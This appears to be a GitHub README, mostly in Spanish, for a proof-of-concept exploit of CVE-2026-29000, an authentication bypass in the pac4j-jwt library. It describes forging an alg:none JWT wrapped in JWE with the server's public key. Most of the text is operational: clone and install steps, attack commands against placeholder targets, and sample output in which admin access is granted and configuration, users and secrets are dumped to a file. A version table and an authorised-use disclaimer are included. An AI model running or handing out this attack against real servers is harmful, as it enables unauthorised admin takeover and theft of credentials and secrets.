
CVE-2026-29000 – Omisión de autenticación en pac4j-jwt (CVSS 10.0). Falsificación de admin con un solo clic mediante envoltura JWE con clave pública. Filtra configuraciones, usuarios y secretos. Keep-alive, proxy, JWKS personalizado. Herramienta educativa de PoC de explotación.
CVE-2026-29000 - Forja de administrador en un clic mediante JWT alg:none + cifrado JWE
Este exploit aprovecha CVE-2026-29000, una vulnerabilidad crítica de CVSS 10.0 en la biblioteca pac4j-jwt. Al extraer la clave pública JWKS del servidor y falsificar un token JWE cifrado con alg: none, logra una omisión completa de la autenticación y otorga privilegios administrativos totales en un solo clic.
alg:none y lo envuelve con la propia clave pública del servidor| Biblioteca | Versiones afectadas | Versiones parcheadas |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] Aviso legal: Esta herramienta es solo para pruebas de seguridad autorizadas y compromisos de red team.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
Exploit básico de un solo intento
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
Argumento Corto Obligatorio Predeterminado Descripción --target -t Sí - URL de destino (p. ej., https://example.com:8443) --jwks -k No detección automática Ruta personalizada del endpoint JWKS --output -o No Ninguno Guardar el token JWE falsificado en un archivo --leak -l No leaked_TIMESTAMP.txt Guardar los datos filtrados en un archivo --verbose -v No False Habilitar la salida de depuración --proxy -p No Ninguno Proxy HTTP/HTTPS --user-agent -ua No Mozilla/5.0... User-Agent personalizado --no-keep-alive - No False Deshabilitar el keep-alive de la sesión --delay - No 5.0 Intervalo de ping keep-alive (segundos) --max-retries - No 3 Máximo de reintentos por solicitud fallida --ssl-verify - No False Verificar los certificados SSL
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] ETAPA 1: Adquiriendo la clave pública RSA desde JWKS [11:23:15] Sondeando el endpoint JWKS... [11:23:16] JWKS encontrado en /realms/master/protocol/openid-connect/certs [11:23:16] Clave pública RSA extraída correctamente
[11:23:16] ETAPA 2: Creando JWT con alg:none y cifrándolo en JWE [11:23:16] Token JWE falsificado (truncado): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ Token guardado en backdoor.jwe
[11:23:16] ETAPA 3: Enviando el JWE falsificado como token Bearer [11:23:17] ✓ ¡Autenticación exitosa! Acceso concedido a /api/users/me
[11:23:17] ETAPA 4: Enumerando endpoints accesibles y revelando datos sensibles [11:23:18] ✓ Filtrado: /actuator/env (estado 200) [11:23:18] ✓ Filtrado: /api/users (estado 200) [11:23:18] ✓ Filtrado: /api/secrets (estado 200) [11:23:18] ✓ Filtrado: /config/server (estado 200) [11:23:18] ✓ Capturados 4 endpoints sensibles → guardados en leak.txt
[11:23:18] Sesión keep‑alive activa (Ctrl+C para detener) [11:23:18] Token (JWE) válido por ~1 hora – volver a falsificar si expira
Echa un vistazo a mis otros repositorios de exploits: